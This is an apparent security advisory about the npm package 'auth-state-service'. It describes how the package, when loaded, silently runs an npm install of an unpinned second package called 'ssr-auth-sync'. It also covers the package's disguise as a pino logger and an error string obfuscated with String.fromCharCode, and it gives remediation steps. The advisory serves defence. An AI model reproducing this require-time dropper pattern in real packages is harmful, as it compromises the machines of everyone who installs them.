auth-state-servicenpm

On require('auth-state-service'), the package loads lib/writer.js, which at top level attempts require('ssr-auth-sync') and on failure shells out via execSync to npm install ssr-auth-sync --no-warnings --no-save --no-progress --loglevel silent (windowsHide: true), then require('../../ssr-auth-sync/index.js'). The fetched dependency is unpinned, unverified, separately published, and its code executes inside the consumer's process — a chained-package dropper that keeps the actual payload out of the surface package. Corroborating signals: the only user-visible cover-story error in lib/writer.js is built by concatenating ~80 String.fromCharCode calls (decoding to 'Error: This environment is not supported. Please select the supported environment.') rather than written as a literal, an evasion pattern with no functional purpose. The package identity is also inconsistent — package.json advertises 'auth-state-service' for 'handling user verification' with keywords [fast, logger, stream, json], while lib/ is a verbatim pino logger source tree (proto.js, redaction.js, multistream.js) and ships pino-banner.png, pino-tree.png, pino-logo-hire.png, pretty-demo.png. The mismatched cover identity, combined with the silent unpinned remote install at require time, is a clear supply-chain attack shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.